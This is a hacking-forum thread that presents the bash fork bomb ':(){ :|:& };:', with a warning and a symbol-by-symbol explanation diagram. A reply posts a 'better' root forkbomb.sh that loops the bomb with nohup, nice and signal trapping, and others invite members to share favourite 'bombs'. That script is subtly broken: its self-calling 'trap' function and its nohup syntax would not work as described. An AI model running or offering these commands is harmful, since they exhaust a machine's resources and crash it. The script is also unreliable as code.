Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Crashing a Linux machine - Fork Bomb

Today's thread is just a quick pointer on a very well known command which you may have already heard of

This is called 'The Fork Bomb' - WARNING: DO NOT RUN THIS COMMAND UNLESS YOU ARE PREPARED FOR YOUR LINUX SYSTEM TO CRASH

The command of the Fork Bomb goes like this :(){ :|:& };:

This command will create a function that calls upon itself twice for every one call but doesn't have any stop command so it just keeps on repeating until the system runs out of memory and causes it to crash and require a reboot, the process would go on for an infinite amount of time if a machine could handle the memory hammering due to the fact that there is no end to the command but as we have not discovered how to accommodate for an infinite amount of memory your machine is guaranteed to crash due to this command so be careful, try running in a VM if you really want to see a live example!

Handy diagram showing the breakdown, pulled from an askubuntu source:

:(){ :|:& };:
\_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start two more.
| | |||| |\- Definition ends now, to be able to run ...
| | |||| \- End of function-block
| | |||\- disown the functions (make them a background process), so that the children of a parent
| | ||| will not be killed when the parent gets auto-killed
| | ||\- ... another copy of the ':'-function, which has to be loaded into memory.
| | || So, ':|:' simply loads two copies of the function, whenever ':' is called
| | |\- ... and pipe its output to ...
| | \- Load a copy of the function ':' into memory ...
| \- Begin of function-definition
\- Define the function ':' without any parameters '()' as follows:
[Image: 4824998.gif]

KEY1
(Jan 28, 2021 04:49 AM)K1. Wrote:  Today's thread is just a quick pointer on a very well known command which you may have already heard of

This is called 'The Fork Bomb' - WARNING: DO NOT RUN THIS COMMAND UNLESS YOU ARE PREPARED FOR YOUR LINUX SYSTEM TO CRASH

The command of the Fork Bomb goes like this :(){ :|:& };:

This command will create a function that calls upon itself twice for every one call but doesn't have any stop command so it just keeps on repeating until the system runs out of memory and causes it to crash and require a reboot, the process would go on for an infinite amount of time if a machine could handle the memory hammering due to the fact that there is no end to the command but as we have not discovered how to accommodate for an infinite amount of memory your machine is guaranteed to crash due to this command so be careful, try running in a VM if you really want to see a live example!

Handy diagram showing the breakdown, pulled from an askubuntu source:

:(){ :|:& };:
\_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start    two more.
| | |||| |\- Definition ends now, to be able to run ...
| | |||| \- End of function-block
| | |||\- disown the functions (make them a background process), so that the children    of a parent
| | |||  will not be killed when the parent gets auto-killed
| | ||\- ... another copy of the ':'-function, which has to be loaded into memory.
| | ||  So, ':|:' simply loads two copies of the function, whenever ':' is called
| | |\- ... and pipe its output to ...
| | \- Load a copy of the function ':' into memory ...
| \- Begin of function-definition
\- Define the function ':' without any parameters '()' as follows:

Haha reminds me i coded an even better one using nice and nohup ^^
Source right here :
Code
#!/bin/bash
#run as root for nice to work
#forkbomb.sh
function trap()
{
    trap '' 2 3 15
}
while :
do
trap()
nohup {nice -n -20;:(){ :|:& };:} &
done
Bash code, kinda dirty ngl, don't try it :)
Fork bombing thread. Love it. Post your fav bombs <3
Good shit K1
[Image: vibesignature.gif]
The Brotherhood Vibe  Legends
(Jan 28, 2021 05:31 AM)7 Wrote:  Fork bombing thread. Love it. Post your fav bombs <3
Good shit K1

Haha yeah, old technique but still works!
(Jan 28, 2021 05:31 AM)Yoda_warrior Wrote:  Haha yeah, old technique but still works!

Yeah makes me want to listen to some techno but love it all the same <3
[Image: vibesignature.gif]
The Brotherhood Vibe  Legends
(Jan 28, 2021 05:32 AM)7 Wrote:  Yeah makes me want to listen to some techno but love it all the same <3

Good music bro! Enjoy :D Btw anyone else coding in bash there ?


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Wade WilsonDec 18, 2016 10:03 AM 20 1,247 Dec 18, 2016 10:03 AM
Last Post: MisterY
by RelationShitSep 11, 2016 09:51 AM 12 1,542 Sep 11, 2016 09:51 AM
Last Post: Lorrdsnow
by UnKnOwN333Aug 19, 2015 03:49 PM 0 151 Aug 19, 2015 03:49 PM
Last Post: UnKnOwN333